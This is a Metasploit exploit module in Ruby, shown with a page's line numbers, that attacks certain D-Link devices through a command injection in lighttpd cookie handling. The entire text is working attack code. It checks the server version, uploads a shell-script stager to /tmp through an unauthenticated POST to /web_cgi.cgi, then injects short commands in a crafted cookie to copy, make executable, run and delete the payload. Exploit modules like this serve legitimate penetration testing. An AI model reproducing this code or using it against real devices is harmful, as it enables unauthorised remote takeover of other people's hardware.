1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 |
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'D-Link Cookie Command Execution', 'Description'=> %q{ This module exploits an anonymous remote upload and code execution vulnerability on different D-Link devices. The vulnerability is a command injection in the cookie handling process of the lighttpd web server when handling specially crafted cookie values. This module has been successfully tested on D-Link DSP-W110A1_FW105B01 in emulated environment. }, 'Author' => [ 'Peter Adkins <peter.adkins[at]kernelpicnic.net>', # vulnerability discovery and initial PoC 'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module ], 'License'=> MSF_LICENSE, 'Platform' => 'linux', 'References' => [ ['URL', 'https://github.com/darkarnium/secpub/tree/master/D-Link/DSP-W110'] # blog post including PoC ], 'DisclosureDate' => 'Jun 12 2015', 'Payload'=> { 'DisableNops' => true }, 'Targets' => [ [ 'MIPS Little Endian',# unknown if there are LE devices out there ... but in case we have a target { 'Platform' => 'linux', 'Arch' => ARCH_MIPSLE } ], [ 'MIPS Big Endian', { 'Platform' => 'linux', 'Arch' => ARCH_MIPSBE } ] ], 'DefaultTarget'=> 1 )) end def check begin res = send_request_cgi({ 'uri'=> '/', 'method' => 'GET' }) if res && res.headers["Server"] =~ /lighttpd\/1\.4\.34/ return Exploit::CheckCode::Detected end rescue ::Rex::ConnectionError return Exploit::CheckCode::Unknown end Exploit::CheckCode::Unknown end def exploit print_status("#{peer} - Trying to access the device ...") unless check == Exploit::CheckCode::Detected fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device") end print_status("#{peer} - Uploading stager ...") @counter = 1 execute_cmdstager( :flavor=> :echo, :linemax => 95# limited by our upload, larger payloads crash the web server ) print_status("#{peer} - creating payload and executing it ...") (1 .. @counter).each do |act_file| # the http server blocks access to our files ... we copy it to a new one # the length of our command is restricted to 19 characters cmd = "cp /t*/#{act_file} /tmp/#{act_file+@counter}" execute_final_command(cmd) cmd = "chmod +x /tmp/#{act_file+@counter}" execute_final_command(cmd) cmd = "/tmp/#{act_file+@counter}" execute_final_command(cmd) cmd = "rm /tmp/#{act_file}" execute_final_command(cmd) cmd = "rm /tmp/#{act_file+@counter}" execute_final_command(cmd) end end def execute_command(cmd,opts) # upload our stager to a shell script # upload takes quite long because there is no response from the web server file_upload = "#!/bin/sh\n" file_upload << cmd << "\n" post_data = Rex::MIME::Message.new post_data.add_part(file_upload, nil, "binary", "form-data; name=\"#{rand_text_alpha(4)}\"; filename=\"#{@counter}\"") post_data.bound = "-#{rand_text_alpha(12)}--" file = post_data.to_s @counter = @counter + 1 begin send_request_cgi({ 'method'=> 'POST', 'uri' => "/web_cgi.cgi", 'vars_get' => { '&request' =>'UploadFile', 'path' => '/tmp/' }, 'encode_params' => false, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'data'=> file }) rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") end end def execute_final_command(cmd) # very limited space - larger commands crash the webserver fail_with(Failure::Unknown, "#{peer} - Generated command for injection is too long") if cmd.length > 18 begin send_request_cgi({ 'method'=> 'GET', 'uri' => "/", 'cookie'=> "i=<code>#{cmd}</code>" }, 5) rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") end end end |